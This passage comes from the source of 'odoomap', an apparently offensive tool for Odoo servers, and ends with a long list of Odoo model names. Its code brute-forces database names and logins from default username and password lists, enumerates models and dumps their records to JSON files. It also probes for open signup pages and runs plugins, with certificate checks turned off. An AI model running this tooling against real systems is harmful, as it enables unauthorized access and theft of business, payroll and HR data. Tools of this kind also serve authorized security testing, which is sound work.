usernames, or passwords provided. Using default values.") 230 | connection.bruteforce_login(args.database, wordlist_file=args.wordlist, 231 | usernames_file=args.usernames, passwords_file=args.passwords) 232 | 233 | # Enumerate models 234 | if args.enumerate and connection.uid: 235 | models = actions.get_models(connection, limit=args.limit, 236 | with_permissions=args.permissions, 237 | bruteforce=args.bruteforce_models, 238 | model_file=args.model_file) 239 | if models: 240 | if args.output: 241 | with open(args.output, 'w') as f: 242 | for model in models: 243 | f.write(f"{model}\n") 244 | print(f"\n{Colors.s} Model list saved to {args.output}") 245 | 246 | elif args.bruteforce_models and connection.uid: 247 | models = actions.bruteforce_models(connection, limit=args.limit, 248 | with_permissions=args.permissions, 249 | model_file=args.model_file) 250 | if models: 251 | if args.output: 252 | output_file = args.output if os.path.isdir(args.output) else os.path.dirname(args.output) 253 | output_file = os.path.join(output_file, 'bruteforced_models.txt') 254 | with open(output_file, 'w') as f: 255 | for model in models: 256 | f.write(f"{model}\n") 257 | print(f"\n{Colors.s} Bruteforced model list saved to {output_file}") 258 | 259 | # Dump model data 260 | if args.dump and connection.uid: 261 | models_to_dump = [] 262 | 263 | # Check if the dump argument is a file path 264 | if os.path.isfile(args.dump): 265 | print(f"\n{Colors.i} Reading model list from file: {args.dump}") 266 | try: 267 | with open(args.dump, 'r') as f: 268 | models_to_dump = [line.strip() for line in f if line.strip()] 269 | print(f"{Colors.i} Dumping data from {len(models_to_dump)} model(s) listed in file: {args.dump}") 270 | except Exception as e: 271 | print(f"{Colors.e} Error reading model list file: {str(e)}") 272 | sys.exit(1) 273 | else: 274 | models_to_dump = [model.strip() for model in args.dump.split(',')] 275 | print(f"{Colors.i} Dumping data from {len(models_to_dump)} model(s)") 276 | 277 | output_dir = args.output or "./dump" 278 | os.makedirs(output_dir, exist_ok=True) 279 | 280 | for model_name in models_to_dump: 281 | output_file = os.path.join(output_dir, f"{model_name}.json") 282 | print(f"{Colors.i} Dumping {model_name} to {output_file}") 283 | actions.dump_model(connection, model_name, limit=args.limit, output_file=output_file) 284 | 285 | 286 | if args.plugin: 287 | try: 288 | plugin_instance = load_specific_plugin(args.plugin) 289 | except ValueError as e: 290 | print(f"{Colors.e} {e}") 291 | available = list_available_plugins() 292 | print(f"{Colors.i} Available plugins: {', '.join(available)}") 293 | sys.exit(1) 294 | 295 | try: 296 | result = plugin_instance.run( 297 | # Passing all the necessary connection/auth information. 298 | args.url, 299 | database=args.database, 300 | username=args.username, 301 | password=args.password, 302 | connection=connection 303 | # add args that plugins might need. 304 | ) 305 | print(f"{Colors.s} Plugin '{args.plugin}' finished. Result:\n{result}") 306 | 307 | except Exception as e: 308 | print(f"{Colors.e} Error running plugin '{args.plugin}': {str(e)}") 309 | sys.exit(1) 310 | 311 | if __name__ == "__main__": 312 | main() -------------------------------------------------------------------------------- /odoomap/connect.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import xmlrpc.client 3 | import requests 4 | import ssl 5 | import urllib3 6 | import json 7 | from bs4 import BeautifulSoup 8 | from odoomap.utils.colors import Colors 9 | from urllib.parse import urljoin 10 | from importlib.resources import files 11 | from .utils.brute_display import BruteDisplay, console 12 | 13 | 14 | 15 | # Disable SSL warnings 16 | urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) 17 | 18 | class Connection: 19 | def __init__(self, host, ssl_verify=False): 20 | self.host = host if host.startswith(('http://', 'https://')) else f"https://{host}" 21 | self.ssl_verify = ssl_verify 22 | self.session = requests.Session() 23 | self.session.verify = ssl_verify 24 | self.common_endpoint = f"{self.host}/xmlrpc/2/common" 25 | self.object_endpoint = f"{self.host}/xmlrpc/2/object" 26 | self.master_password_endpoint = f"{self.host}/xmlrpc/2/db" 27 | 28 | # For authenticated operations 29 | self.uid = None 30 | self.password = None 31 | self.db = None 32 | 33 | # Setup XML-RPC with context for SSL verification 34 | if not ssl_verify: 35 | ssl_context = ssl._create_unverified_context() 36 | self.common = xmlrpc.client.ServerProxy(self.common_endpoint, context=ssl_context) 37 | self.master = xmlrpc.client.ServerProxy(self.master_password_endpoint, context=ssl_context) 38 | self.models = None # Will be initialized after authentication 39 | else: 40 | self.common = xmlrpc.client.ServerProxy(self.common_endpoint) 41 | self.models = None 42 | 43 | def get_version(self): 44 | """Get Odoo version information""" 45 | try: 46 | version_info = self.common.version() 47 | return version_info 48 | except Exception as e: 49 | print(f"{Colors.e} Error getting version: {str(e)}") 50 | return None 51 | 52 | def get_databases(self): 53 | """List available databases""" 54 | try: 55 | db_endpoint = f"{self.host}/xmlrpc/2/db" 56 | db_service = xmlrpc.client.ServerProxy(db_endpoint, 57 | context=ssl._create_unverified_context() if not self.ssl_verify else None) 58 | databases = db_service.list() 59 | return databases 60 | except Exception as e: 61 | print(f"{Colors.e} Error listing databases: {str(e)}") 62 | print(f"{Colors.i} Falling back to JSON-RPC method...") 63 | 64 | try: 65 | jsonrpc_endpoint = f"{self.host}/web/database/list" 66 | headers = {"Content-Type": "application/json"} 67 | payload = { 68 | "jsonrpc": "2.0", 69 | "method": "call", 70 | "params": {} 71 | } 72 | 73 | verify_ssl = self.ssl_verify 74 | response = requests.post( 75 | jsonrpc_endpoint, 76 | headers=headers, 77 | data=json.dumps(payload), 78 | verify=verify_ssl 79 | ) 80 | 81 | if response.status_code == 200: 82 | result = response.json().get("result") 83 | if isinstance(result, list) and result: 84 | return result 85 | except Exception as e: 86 | print(f"{Colors.e} JSON-RPC DB listing failed: {e}") 87 | 88 | return [] 89 | 90 | def authenticate(self, db, username, password, verbose=True): 91 | """Authenticate to Odoo""" 92 | if verbose: 93 | print(f"{Colors.i} Authenticating as {username} on {db}...") 94 | try: 95 | uid = self.common.authenticate(db, username, password, {}) 96 | if uid: 97 | self.uid = uid 98 | self.password = password 99 | self.db = db 100 | self.models = xmlrpc.client.ServerProxy(self.object_endpoint, 101 | context=ssl._create_unverified_context() if not self.ssl_verify else None) 102 | if verbose: 103 | print(f"{Colors.s} Authentication successful (uid: {uid})") 104 | return uid 105 | 106 | else: 107 | if verbose: 108 | print(f"{Colors.e} Authentication failed") 109 | return None 110 | 111 | except Exception as e: 112 | if "failed: FATAL: database" in str(e) and "does not exist" in str(e): 113 | if verbose: 114 | print(f"{Colors.e} Authentication failed: database {Colors.FAIL}{db}{Colors.ENDC} does not exist") 115 | else: 116 | if verbose: 117 | print(f"{Colors.e} Authentication error: {str(e)}") 118 | return None 119 | 120 | def sanitize_for_xmlrpc(self, text): 121 | """Sanitize text to be used in XML-RPC calls.""" 122 | if not isinstance(text, str): 123 | return text 124 | return ''.join(c for c in text if c != '\x00' and ord(c) < 128 and c.isprintable()) 125 | 126 | def bruteforce_database_names(self, db_names_file): 127 | """Bruteforce database names using a wordlist file""" 128 | 129 | try: 130 | with open(db_names_file, 'r', encoding='utf-8', errors='ignore') as f: 131 | databases = [line.strip() for line in f if line.strip()] 132 | except Exception as e: 133 | print(f"{Colors.e} Error reading database names file: {str(e)}") 134 | return False 135 | 136 | print(f"{Colors.s} Loaded {len(databases)} database names from {db_names_file}") 137 | print(f"{Colors.i} Starting database name bruteforce with {len(databases)} candidates") 138 | 139 | total = len(databases) 140 | display = BruteDisplay(total) 141 | found_databases = [] 142 | 143 | console.print("") 144 | for db in databases: 145 | display.update(f"{Colors.t} {db}") 146 | try: 147 | uid = self.common.authenticate(db, "test_user", "test_pass", {}) 148 | if uid == False: 149 | display.add_success(f"{db}\n") 150 | found_databases.append(db) 151 | except Exception as e: 152 | if "FATAL: database" in str(e) and "does not exist" in str(e): 153 | pass 154 | else: 155 | display.add_error(f"{db} -> {str(e)}") 156 | 157 | display.stop() 158 | 159 | return found_databases 160 | 161 | def bruteforce_login(self, db, wordlist_file=None, usernames_file=None, passwords_file=None): 162 | if not db: 163 | print(f"{Colors.e} No database specified for bruteforce") 164 | return False 165 | 166 | usernames, passwords, user_pass_pairs = [], [], [] 167 | 168 | try: 169 | usernames_text = files("odoomap.data").joinpath("default_usernames.txt").read_text(encoding='utf-8', errors='ignore') 170 | usernames = [line.strip() for line in usernames_text.splitlines() if line.strip()] 171 | 172 | passwords_text = files("odoomap.data").joinpath("default_passwords.txt").read_text(encoding='utf-8', errors='ignore') 173 | passwords = [line.strip() for line in passwords_text.splitlines() if line.strip()] 174 | except Exception as e: 175 | print(f"{Colors.e} Error reading default credentials files: {str(e)}") 176 | sys.exit(1) 177 | 178 | if usernames_file: 179 | try: 180 | with open(usernames_file, 'r', encoding='utf-8', errors='ignore') as f: 181 | usernames = [line.strip() for line in f if line.strip()] 182 | #print(f"{Colors.s} Loaded {len(usernames)} usernames from {usernames_file}") 183 | except Exception as e: 184 | print(f"{Colors.e} Error reading usernames file: {str(e)}") 185 | sys.exit(1) 186 | 187 | if passwords_file: 188 | try: 189 | with open(passwords_file, 'r', encoding='utf-8', errors='ignore') as f: 190 | passwords = [line.strip() for line in f if line.strip()] 191 | #print(f"{Colors.s} Loaded {len(passwords)} passwords from {passwords_file}") 192 | except Exception as e: 193 | print(f"{Colors.e} Error reading passwords file: {str(e)}") 194 | sys.exit(1) 195 | 196 | if wordlist_file: 197 | try: 198 | with open(wordlist_file, 'r', encoding='utf-8', errors='ignore') as f: 199 | lines = [line.strip() for line in f if line.strip()] 200 | # Check if this is in user:pass format 201 | for line in lines: 202 | if ':' in line: 203 | user, pwd = line.split(':', 1) 204 | user_pass_pairs.append((user, pwd)) 205 | except Exception as e: 206 | print(f"{Colors.e} Error reading wordlist file: {str(e)}") 207 | sys.exit(1) 208 | 209 | if not user_pass_pairs: 210 | print(f"{Colors.e} No valid user:pass pairs found in {wordlist_file}, Exiting...") 211 | sys.exit(1) 212 | 213 | # sanitize & unique 214 | usernames = list(dict.fromkeys(self.sanitize_for_xmlrpc(u).strip() for u in usernames if u.strip())) 215 | passwords = list(dict.fromkeys(self.sanitize_for_xmlrpc(p).strip() for p in passwords if p.strip())) 216 | user_pass_pairs = list(dict.fromkeys( 217 | (self.sanitize_for_xmlrpc(u).strip(), self.sanitize_for_xmlrpc(p).strip()) 218 | for u, p in user_pass_pairs if u.strip() and p.strip() 219 | )) 220 | 221 | # Remove any empty username/password pairs after sanitization 222 | usernames = [u for u in usernames if u] 223 | passwords = [p for p in passwords if p] 224 | user_pass_pairs = [(u, p) for u, p in user_pass_pairs if u and p] 225 | 226 | # If no user-pass pairs were provided, generate them from sanitized usernames and passwords 227 | if not user_pass_pairs: 228 | if usernames_file: 229 | print(f"{Colors.s} Loaded {len(usernames)} unique usernames from {usernames_file}") 230 | else: 231 | print(f"{Colors.s} Using {len(usernames)} default usernames") 232 | if passwords_file: 233 | print(f"{Colors.s} Loaded {len(passwords)} unique passwords from {passwords_file}") 234 | else: 235 | print(f"{Colors.s} Using {len(passwords)} default passwords") 236 | 237 | user_pass_pairs = list(dict.fromkeys( 238 | (self.sanitize_for_xmlrpc(u).strip(), self.sanitize_for_xmlrpc(p).strip()) 239 | for u in usernames for p in passwords if u and p 240 | )) 241 | else: 242 | print(f"{Colors.s} Loaded {len(user_pass_pairs)} unique user:pass pairs from {wordlist_file}") 243 | 244 | print(f"{Colors.i} Starting bruteforce with {len(user_pass_pairs)} credential pairs") 245 | 246 | total = len(user_pass_pairs) 247 | display = BruteDisplay(total) 248 | 249 | console.print() 250 | for username, password in user_pass_pairs: 251 | display.update(f"{Colors.t} {username}:{password}") 252 | try: 253 | uid = self.authenticate(db, username, password, verbose=False) 254 | if uid: 255 | display.add_success(f"{username}:{password} (uid: {uid})\n") 256 | 257 | except Exception as e: 258 | display.add_error(f"{username}:{password} -> {e}") 259 | 260 | display.stop() 261 | return len(display.successes) > 0 262 | 263 | def registration_check(self): 264 | """ 265 | Detect whether self‑host exposes any anonymous signup page. 266 | Returns True at the first positive match, otherwise False. 267 | """ 268 | candidate_paths = [ 269 | "/web/signup", # default (>= v10) 270 | "/auth_signup/sign_up", # auth_signup controller 271 | "/web/portal/register", # older portal module 272 | "/web/register", # some community themes 273 | "/website/signup", # website module alias 274 | "/portal/signup", # portal frontend alias 275 | "/signup", # catch‑all shortcut 276 | "/web/login/signup" # Sometimes a redirect from /web/login 277 | ] 278 | 279 | portal_found = False 280 | base = self.host.rstrip("/") + "/" # ensure base ends with exactly one / 281 | for p in candidate_paths: 282 | url = urljoin(base, p.lstrip("/")) 283 | try: 284 | response = self.session.get(url, verify=self.ssl_verify, timeout=10) 285 | except Exception as exc: 286 | print(f"{Colors.e} error requesting {url}: {exc}") 287 | continue 288 | 289 | if response.status_code == 200 and "name=\"login\"" in response.text: 290 | print(f"{Colors.s} Portal registration is enabled: {Colors.FAIL}{url}{Colors.ENDC}") 291 | portal_found = True 292 | 293 | 294 | elif response.status_code == 200: 295 | print(f"{Colors.s} Public signup found at {Colors.FAIL}{url}{Colors.ENDC}") 296 | portal_found = True 297 | continue 298 | 299 | if portal_found: 300 | return True 301 | else: 302 | print(f"{Colors.w} Portal registration is disabled / not detected") 303 | return portal_found 304 | 305 | 306 | def default_apps_check(self): 307 | """Get information about default apps""" 308 | try: 309 | login_url = urljoin(self.host, '/web/login') 310 | response = self.session.get(login_url, verify=self.ssl_verify) 311 | if response.status_code == 200: 312 | soup = BeautifulSoup(response.text, 'html.parser') 313 | app_info = {} 314 | 315 | if soup.title: 316 | app_info["title"] = soup.title.string 317 | 318 | paths = [ 319 | "/web", "/shop", "/forum", "/contactus", 320 | "/website/info", "/blog", "/events", 321 | "/jobs", "/slides" 322 | ] 323 | for path in paths: 324 | try: 325 | full_url = urljoin(self.host, path) 326 | path_response = self.session.get(full_url, verify=self.ssl_verify) 327 | if path_response.status_code == 200: 328 | print(f" - {path}: Available ({full_url})") 329 | app_info[path] = path_response.status_code 330 | except: 331 | app_info[path] = None 332 | 333 | return app_info 334 | return None 335 | except Exception as e: 336 | print(f"{Colors.e} Error getting apps info: {str(e)}") 337 | return None -------------------------------------------------------------------------------- /odoomap/data/default_models.txt: -------------------------------------------------------------------------------- 1 | mail.thread 2 | account.account 3 | account.return 4 | account.return.check 5 | account.analytic.account 6 | hr.applicant 7 | appointment.type 8 | hr.appraisal.goal 9 | approval.request 10 | knowledge.article.thread 11 | account.asset 12 | hr.attendance 13 | base.automation 14 | res.partner.bank 15 | account.online.link 16 | account.bank.statement 17 | account.bank.statement.line 18 | extract.mixin 19 | extract.mixin.with.words 20 | mrp.bom 21 | blog.blog 22 | blog.post 23 | calendar.event 24 | res.company 25 | res.partner 26 | slide.channel 27 | hr.department 28 | discuss.channel 29 | documents.document 30 | mrp.eco.type 31 | mail.thread.cc 32 | esg.emission.factor 33 | esg.emission.factor.line 34 | hr.employee 35 | hr.appraisal 36 | hr.version 37 | mrp.eco 38 | event.event 39 | event.registration 40 | hr.expense 41 | forum.forum 42 | forum.post 43 | forum.tag 44 | frontdesk.visitor 45 | gamification.badge 46 | gamification.challenge 47 | helpdesk.team 48 | helpdesk.ticket 49 | iap.account 50 | hr.job 51 | account.journal 52 | account.move 53 | knowledge.article 54 | crm.lead 55 | account.loan 56 | stock.lot 57 | lunch.supplier 58 | mail.blacklist 59 | mail.thread.blacklist 60 | mail.thread.main.attachment 61 | mailing.contact 62 | maintenance.equipment 63 | maintenance.request 64 | maintenance.team 65 | mrp.production 66 | card.campaign 67 | mailing.mailing 68 | fleet.vehicle.model 69 | hr.payslip.run 70 | hr.payslip 71 | account.payment 72 | phone.blacklist 73 | mail.thread.phone 74 | pos.order 75 | pos.session 76 | account.reconcile.model 77 | product.pricelist 78 | product.template 79 | product.category 80 | product.product 81 | project.project 82 | project.milestone 83 | project.update 84 | purchase.order 85 | quality.alert 86 | quality.alert.team 87 | quality.check 88 | quality.point 89 | rating.mixin 90 | repair.order 91 | hr.referral.reward 92 | room.room 93 | room.booking 94 | hr.salary.attachment 95 | sale.order 96 | crm.team 97 | crm.team.member 98 | ir.cron 99 | stock.scrap 100 | ir.actions.server 101 | fleet.vehicle.log.services 102 | sign.request 103 | slide.slide 104 | social.media 105 | social.post 106 | spreadsheet.cell.thread 107 | studio.approval.rule 108 | survey.survey 109 | survey.user_input 110 | hr.talent.pool 111 | project.task 112 | account.tax 113 | hr.leave 114 | hr.leave.allocation 115 | stock.picking 116 | mrp.unbuild 117 | fleet.vehicle 118 | fleet.vehicle.log.contract 119 | whatsapp.account 120 | whatsapp.template 121 | mrp.workcenter 122 | mrp.routing.workcenter 123 | auth_totp.wizard 124 | ai.tool 125 | voip.call 126 | account.edi.xml.ubl_a_nz 127 | ai.agent 128 | ai.composer 129 | res.users.apikeys.description 130 | res.groups 131 | account.cash.rounding 132 | account.chart.template 133 | account.group 134 | account.journal.group 135 | account.lock_exception 136 | account.move.reversal 137 | account.move.send 138 | account.move.send.batch.wizard 139 | account.move.send.wizard 140 | account.report.annotation 141 | account.report.custom.handler 142 | account.tax.report.handler 143 | account.report.send 144 | account.account.tag 145 | account.transfer.model 146 | account.transfer.model.line 147 | account.auto.reconcile.wizard 148 | account.root 149 | account.import.summary 150 | account.merge.wizard 151 | account.merge.wizard.line 152 | mrp.account.wip.accounting.line 153 | account.reconcile.wizard 154 | report.account.report_invoice_with_payments 155 | report.account.report_invoice 156 | account.report 157 | account.report.budget 158 | account.report.budget.item 159 | account.report.column 160 | account.report.expression 161 | account.report.external.value 162 | account.report.line 163 | account.return.type 164 | account.fiscal.position.account 165 | hr.leave.accrual.plan 166 | hr.leave.accrual.level 167 | account.accrued.orders.wizard 168 | ir.actions.act_url 169 | ir.actions.act_window 170 | ir.actions.act_window_close 171 | ir.actions.act_window.view 172 | ir.actions.actions 173 | mail.activity 174 | mail.activity.mixin 175 | mail.activity.plan 176 | esg.activity.type 177 | mail.activity.type 178 | mail.activity.plan.template 179 | mail.activity.schedule 180 | mailing.contact.to.list 181 | add.iot.box 182 | job.add.applicants 183 | talent.pool.add.applicants 184 | appointment.manage.leaves 185 | mrp.workcenter.tag 186 | mrp_production.additional.workorder 187 | slide.slide.resource 188 | format.address.mixin 189 | account.aged.partner.balance.report.handler 190 | account.aged.payable.report.handler 191 | account.aged.receivable.report.handler 192 | hr.referral.alert 193 | website.route 194 | ir.profile 195 | amazon.account 196 | amazon.marketplace 197 | amazon.offer 198 | amazon.recover.order.wizard 199 | iot.discovered.box 200 | account.analytic.distribution.model 201 | account.analytic.line 202 | analytic.mixin 203 | analytic.plan.fields.mixin 204 | account.analytic.applicability 205 | account.analytic.plan 206 | hr.recruitment.degree 207 | ir.module.category 208 | appointment.answer.input 209 | appointment.booking.line 210 | appointment.invite 211 | appointment.answer 212 | appointment.question 213 | appointment.resource 214 | appointment.slot 215 | hr.appraisal.note 216 | hr.appraisal.campaign.wizard 217 | hr.appraisal.goal.tag 218 | hr.appraisal.skill 219 | hr.appraisal.skill.report 220 | hr.appraisal.report 221 | approval.category 222 | approval.category.approver 223 | studio.approval.rule.approver 224 | studio.approval.rule.delegate 225 | approval.approver 226 | knowledge.article.member 227 | knowledge.article.template.category 228 | appraisal.ask.feedback 229 | ir.asset 230 | account.asset.group 231 | account.asset.report.handler 232 | web_editor.assets 233 | esg.assignation.line 234 | ir.attachment 235 | ai.embedding 236 | hr.attendance.overtime 237 | product.attribute.value 238 | auth_totp.device 239 | factors.auto.assignment.wizard 240 | ir.autovacuum 241 | sequence.mixin 242 | account.autopost.bills.wizard 243 | avatar.mixin 244 | account.edi.xml.ubl_de 245 | report.mrp.report_bom_structure 246 | stock.backorder.confirmation 247 | mrp.production.backorder.line 248 | stock.backorder.confirmation.line 249 | account.balance.sheet.report.handler 250 | res.bank 251 | account.bank.reconciliation.report.handler 252 | account.setup.bank.manual.config 253 | barcodes.barcode_events_mixin 254 | barcode.nomenclature 255 | barcode.rule 256 | base 257 | base_import.import 258 | base_import.mapping 259 | mrp.bom.line 260 | bill.to.po.wizard 261 | blog.tag 262 | blog.tag.category 263 | fleet.vehicle.model.brand 264 | project.task.burndown.chart.report 265 | pos.bus.mixin 266 | account.document.import.mixin 267 | mrp.bom.byproduct 268 | crm.activity.report 269 | crm.iap.lead.industry 270 | crm.iap.lead.mining.request 271 | crm.recurring.plan 272 | crm.stage 273 | crm.tag 274 | calendar.attendee 275 | calendar.filters 276 | calendar.popover.delete.wizard 277 | calendar.provider.config 278 | utm.stage 279 | bus.listener.mixin 280 | stock_barcode.cancel.operation 281 | hr.holidays.cancel.leave 282 | sale.mass.cancel.orders 283 | mail.canned.response 284 | esg.carbon.report.handler 285 | delivery.carrier.easypost 286 | account.cash.flow.report.handler 287 | lunch.cashmove.report 288 | hr.applicant.category 289 | fleet.vehicle.model.category 290 | certificate.certificate 291 | account.change.lock.date 292 | change.password.wizard 293 | change.production.qty 294 | slide.channel.partner 295 | slide.channel.invite 296 | discuss.channel.member 297 | slide.channel.tag.group 298 | slide.channel.tag 299 | chatbot.message 300 | chatbot.script 301 | chatbot.script.answer 302 | chatbot.script.step 303 | envia.shipping.wizard 304 | sendcloud.shipping.wizard 305 | sendcloud.shipping.product 306 | starshipit.shipping.wizard 307 | lot.label.layout 308 | product.label.layout 309 | picking.label.type 310 | res.city 311 | data_cleaning.model 312 | data_cleaning.record 313 | data_cleaning.rule 314 | ir.actions.client 315 | account.loan.close.wizard 316 | pos.close.session.wizard 317 | pos.bill 318 | spreadsheet.revision 319 | project.collaborator 320 | account.edi.common 321 | bus.bus 322 | base.document.layout 323 | sign.completed.document 324 | res.config 325 | res.config.settings 326 | ir.actions.todo 327 | auto.config.pos.iot 328 | confirm.stock.sms 329 | hr.timesheet.stop.timer.confirmation.wizard 330 | pos.confirmation.wizard 331 | stock.inventory.conflict 332 | slide.question 333 | hr.version.wizard 334 | hr.contract.type 335 | helpdesk.ticket.convert.wizard 336 | crm.lead2opportunity.partner.mass 337 | crm.lead2opportunity.partner 338 | crm.lead.rental 339 | project.task.convert.wizard 340 | social.post.to.lead 341 | helpdesk.ticket.to.lead 342 | spreadsheet.dashboard.share 343 | res.country 344 | voip.country.code.mixin 345 | res.country.group 346 | format.vat.label.mixin 347 | res.country.state 348 | website.cover_properties.mixin 349 | account.automatic.entry.wizard 350 | wizard.ir.model.menu.create 351 | helpdesk.create.fsm.task 352 | spreadsheet.document.to.dashboard 353 | ai.topic 354 | mail.activity.todo.create 355 | crm.quotation.partner 356 | certificate.key 357 | res.currency 358 | res.currency.rate 359 | ir.ui.view.custom 360 | pos_self_order.custom_link 361 | account.customer.statement.report.handler 362 | esg.database 363 | decimal.precision 364 | data_merge.group 365 | data_merge.model 366 | data_merge.record 367 | data_merge.rule 368 | ir.default 369 | x_project_task_worksheet_template_1 370 | account.deferred.expense.report.handler 371 | account.deferred.report.handler 372 | account.deferred.revenue.report.handler 373 | choose.delivery.carrier 374 | choose.delivery.package 375 | delivery.price.rule 376 | delivery.zip.prefix 377 | ir.demo 378 | ir.demo_failure.wizard 379 | ir.demo_failure 380 | hr.departure.reason 381 | hr.departure.wizard 382 | res.device.log 383 | res.device 384 | digest.digest 385 | digest.tip 386 | account.disallowed.expenses.category 387 | account.disallowed.expenses.report.handler 388 | account.disallowed.expenses.fleet.report.handler 389 | account.disallowed.expenses.rate 390 | sale.order.discount 391 | documents.access 392 | mail.followers 393 | documents.redirect 394 | documents.request_wizard 395 | documents.access.invite 396 | documents.link_to_record_wizard 397 | documents.mixin 398 | documents.unlink.mixin 399 | fleet.vehicle.assignation.log 400 | website.sale.extra.field 401 | account.edi.xml.ubl_efff 402 | account.ec.sales.report.handler 403 | mrp.eco.approval 404 | mrp.eco.approval.template 405 | mrp.eco.bom.change 406 | mrp.eco.stage 407 | mrp.eco.tag 408 | report.event_iot.event_registration_badge_printer_report 409 | esg.carbon.emission.report 410 | esg.employee.commuting.report 411 | esg.employee.report 412 | pos.preset 413 | easypost.service 414 | mrp.eco.routing.change 415 | registration.editor 416 | registration.editor.line 417 | edit.billable.time.target 418 | hr.payroll.edit.payslip.worked.days.line 419 | hr.payroll.edit.payslip.lines.wizard 420 | hr.payroll.edit.payslip.line 421 | mail.alias 422 | mail.alias.mixin 423 | mail.alias.mixin.optional 424 | mail.alias.domain 425 | mail.template.preview 426 | mail.template 427 | mail.compose.message 428 | ir.embedded.actions 429 | slide.embed 430 | esg.emission.source 431 | hr.appraisal.template 432 | hr.employee.category 433 | hr.employee.certification.report 434 | hr.employee.delete.wizard 435 | hr.employee.location 436 | hr.referral.report 437 | hr.referral.reward.report 438 | report.hr_skills.report_employee_cv 439 | hr.employee.skill.history.report 440 | hr.employee.skill.report 441 | base.enable.profiling.wizard 442 | calendar.alarm 443 | calendar.alarm_manager 444 | event.mail 445 | event.event.configurator 446 | event.lead.request 447 | event.lead.rule 448 | calendar.event.type 449 | event.question 450 | event.question.answer 451 | calendar.recurrence 452 | event.registration.answer 453 | event.sale.report 454 | event.slot 455 | event.stage 456 | event.tag 457 | event.tag.category 458 | event.type 459 | event.type.ticket 460 | event.event.ticket 461 | hr.expense.approve.duplicate 462 | hr.expense.post.wizard 463 | hr.expense.refuse.wizard 464 | hr.expense.split 465 | hr.expense.split.wizard 466 | account_reports.export.wizard.format 467 | account_reports.export.wizard 468 | ir.exports 469 | ir.exports.line 470 | iap.extracted.words 471 | report.project.task.user.fsm 472 | account.edi.xml.cii 473 | knowledge.article.favorite 474 | product.fetch.image.wizard 475 | html.field.history.mixin 476 | ir.model.fields 477 | ir.fields.converter 478 | ir.model.fields.selection 479 | crm.lead.scoring.frequency.field 480 | sign.item 481 | ir.binary 482 | ir.filters 483 | account.fiscal.position 484 | account.fiscal.year 485 | fleet.vehicle.cost.report 486 | fleet.vehicle.odometer.report 487 | fleet.service.type 488 | account.followup.report.handler 489 | account_followup.followup.line 490 | account.followup.report 491 | mail.followers.edit 492 | account_followup.missing.information.wizard 493 | sale.pdf.form.field 494 | hr.referral.friend 495 | frontdesk.frontdesk 496 | frontdesk.drink 497 | account.full.reconcile 498 | gamification.goal 499 | gamification.goal.definition 500 | gamification.goal.wizard 501 | gamification.badge.user 502 | gamification.badge.user.wizard 503 | gamification.challenge.line 504 | esg.gas 505 | account.general.ledger.report.handler 506 | payment.link.wizard 507 | employee.commuting.emissions.wizard 508 | hr.leave.allocation.generate.multi.wizard 509 | hr.leave.generate.multi.wizard 510 | qr.code.payment.wizard 511 | account.generic.tax.report.handler 512 | account.generic.tax.report.handler.account.tax 513 | account.generic.tax.report.handler.tax.account 514 | base.geocoder 515 | base.geo_provider 516 | crm.lead.lost 517 | applicant.get.refuse.reason 518 | report.account.report_hash_integrity 519 | google.calendar.account.reset 520 | google.gmail.mixin 521 | google.service 522 | portal.wizard 523 | report.sign.green_savings_report 524 | spreadsheet.dashboard.group 525 | mail.guest 526 | hr.payroll.payment.report.wizard 527 | hr.holidays.summary.employee 528 | hr.work.entry 529 | hr.work.entry.type 530 | ir.http 531 | hr.payroll.headcount.line 532 | helpdesk.sla 533 | helpdesk.stage 534 | helpdesk.stage.delete.wizard 535 | helpdesk.tag.assignment 536 | helpdesk.tag 537 | crm.iap.lead.helpers 538 | report.hr_holidays.report_holidayssummary 539 | account.report.horizontal.group 540 | account.report.horizontal.group.rule 541 | hr.manager.department.report 542 | iap.enrich.api 543 | iap.autocomplete.api 544 | iap.service 545 | mail.ice.server 546 | iot.device 547 | iot.trigger 548 | image.mixin 549 | base.import.module 550 | fetchmail.server 551 | account.incoterms 552 | hr.payroll.index 553 | res.partner.industry 554 | base.language.install 555 | stock.inventory.adjustment.name 556 | stock.inventory.warning 557 | stock.location 558 | stock.route 559 | account.invoice.report 560 | iot.box 561 | hr.job.platform 562 | account.move.line 563 | account.journal.report.handler 564 | documents.account.folder.setting 565 | discuss.call.history 566 | im_livechat.channel.member.history 567 | iot.keyboard.layout 568 | knowledge.cover 569 | knowledge.invite 570 | knowledge.article.stage 571 | base.language.export 572 | base.language.import 573 | res.lang 574 | crm.lead.scoring.frequency 575 | crm.lead.convert2ticket 576 | hr.referral.level 577 | mrp.consumption.warning.line 578 | fsm.stock.tracking.line 579 | sms.tracker 580 | link.tracker 581 | link.tracker.click 582 | link.tracker.code 583 | account.bank.selection 584 | mail.message.link.preview 585 | product.uom 586 | im_livechat.expertise 587 | im_livechat.channel 588 | im_livechat.channel.rule 589 | im_livechat.report.channel 590 | worksheet.template.load.wizard 591 | account.loan.compute.wizard 592 | account.loan.line 593 | ir.logging 594 | report.stock.label_lot_template_view 595 | lunch.alert 596 | lunch.cashmove 597 | lunch.topping 598 | lunch.location 599 | lunch.order 600 | lunch.product 601 | lunch.product.category 602 | report.mrp.report_mo_overview 603 | report.mrp_account_enterprise.mrp_cost_structure 604 | mrp.workcenter.productivity.loss.type 605 | mail.activity.schedule.line 606 | mail.bot 607 | mail.composer.mixin 608 | mail.gateway.allowed 609 | discuss.channel.rtc.session 610 | mail.render.mixin 611 | event.type.mail 612 | ir.mail_server 613 | mail.template.reset 614 | mail.tracking.value 615 | mailing.contact.import 616 | mailing.filter 617 | mailing.list 618 | mailing.subscription 619 | mailing.trace 620 | mailing.subscription.optout 621 | maintenance.equipment.category 622 | maintenance.mixin 623 | maintenance.stage 624 | account.report.file.download.error.wizard 625 | hr.leave.mandatory.day 626 | mrp.report 627 | account.code.mapping 628 | marketing.activity 629 | marketing.campaign 630 | marketing.campaign.test 631 | card.card 632 | card.campaign.tag 633 | card.template 634 | marketing.participant 635 | marketing.trace 636 | mailing.trace.report 637 | calendar.booking 638 | calendar.booking.line 639 | ir.ui.menu 640 | mailing.list.merge 641 | crm.merge.opportunity 642 | base.partner.merge.line 643 | base.partner.merge.automatic.wizard 644 | hr_timesheet.merge.wizard 645 | mail.message 646 | mail.notification 647 | mail.message.reaction 648 | mail.message.translation 649 | mail.message.subtype 650 | discuss.voice.metadata 651 | stock.warehouse.orderpoint 652 | mail.tracking.duration.mixin 653 | ir.model.access 654 | ir.model.constraint 655 | ir.model.data 656 | ir.model.inherit 657 | website.controller.page 